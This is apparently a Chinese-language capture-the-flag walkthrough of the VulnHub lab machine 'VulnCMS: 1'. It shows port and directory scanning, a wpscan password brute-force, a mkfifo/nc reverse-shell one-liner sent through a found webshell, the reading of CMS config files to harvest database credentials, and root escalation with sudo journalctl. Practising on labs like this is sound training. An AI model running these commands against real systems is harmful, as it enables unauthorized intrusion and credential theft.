一、前言
主要利用方式一:wordpress 路径扫描发现命令执行页面,
反弹shell拿到www-data权限
遍历配置文件中发现用户名及密码
切换用户后通过sudo提权
二、靶机信息
靶场: vulnhub.com
靶机名称: VulnCMS: 1
难度: 简单
发布时间: 2021 年 6月 13日
下载地址:https://www.vulnhub.com/entry/vulncms-1,710/
三、虚拟机配置
VirtualBox(Vmware)、网络连接模式:NAT模式、DHCP服务:启用、IP地址:自动分配
攻击IP:192.168.169.129
靶机IP:192.168.169.176
四、信息收集
1、探测靶机ip地址
└─$ sudo arp-scan -I eth0 -l
2、探测靶机ip端口及端口具体服务
└─$ sudo nmap -p- 10.0.2.15
└─$ sudo nmap -p22,80 -sV -A 10.0.2.15
简单描述,22端口基本可以跳过,80端口是一个web网站,w3.css 博客网站,5000端口是wordpress,8081是joomla博客网站,9001是drupal博客网站,
3、80端口访问W3.CSS博客以及常规路径扫描探测
http://10.0.2.15/
└─$ dirsearch -u http://10.0.2.15
设计靶场的作者,多少有点想法,恐怕是在教我们做事?
五、漏洞利用(突破边界)
4、5000端口访问Wordpress博客以及常规路径扫描探测
http://10.0.2.15:5000/
5、css页面不完整,发现大部分的跳转,都是存在域名(fsociety.web),需要添加本地host,通过域名去进行访问
└─$ sudo vi /etc/hosts
└─$ cat /etc/hosts
访问:http://fsociety.web:5000/
6、进行常规路径扫描
└─$ dirsearch -u http://fsociety.web:5000/
7、存在后台,探测存在用户,发现存在wordpress_admin用户
└─$ wpscan --url http://fsociety.web:5000/ -e u
└─$ wpscan --url http://fsociety.web:5000/ --usernames wordpress_admin --passwords /usr/share/wordlists/rockyou.txt
扫描了半天,也没扫描出来账号密码
8、挨个访问扫描出来的路径,发现一个webshell页面,进行尝试,发现命令执行窗口
http://fsociety.web:5000/login.wdm
9、攻击机准备好nc的反弹监控,通过网站尝试反弹shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.2.7 9999 >/tmp/f
10、监控到来自10.0.2.15(靶机)nc反弹回来的连接,并校验权限,发现是www-data权限
升级交互式的tty
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
11、查询wordpress数据库密码
www-data@vuln_cms:~/html/wordpress/public_html$ cat wp-config.php
/* MySQL database username /
define( 'DB_USER', 'wp_admin' );
/* MySQL database password /
define( 'DB_PASSWORD', 'UUs3R_C!B@p@55' );
12、探测存在用户
www-data@vuln_cms:~/html/wordpress/public_html$ cat /etc/passwd
13、发现存在其他cms平台
提取账号信息-tyrell
www-data@vuln_cms:~/html$ cd drupal
www-data@vuln_cms:~/html/drupal$ cd misc
www-data@vuln_cms:~/html/drupal/misc$ cat tyrell.pass
Username: tyrell
Password: mR_R0bo7_i5_R3@!_
提取账号信息-drupal
www-data@vuln_cms:~/html/drupal/sites$ cat /var/www/html/drupal/sites/default/settings.php
'database' => 'drupal_db',
'username' => 'drupal_admin',
'password' => 'p@$$_C!rUP@!_cM5',
提取账号信息-Joomla
www-data@vuln_cms:~/html/joomla$ cat configuration.php
public $user = 'joomla_admin';
public $password = 'j00m1_@_dBpA$$';
六、提权
14、切换到tyrell用户
15、查看下当前账户是否存在可以使用的特权命令或文件:sudo -l,发现存在/bin/journalctl命令
16、查找下journalctl的提权命令,按照sudo方式进行提权
https://gtfobins.github.io/
按照命令执行
tyrell@vuln_cms:/var/www$ sudo journalctl
- (press RETURN)!/bin/sh
17、成功提权到root账户并在root目录下发现root.txt文件,读取该文件获得flag值。
cd /root
cat root.txt
4359537020406305
博主真是太厉害了!!!
不错不错,我喜欢看 https://www.jiwenlaw.com/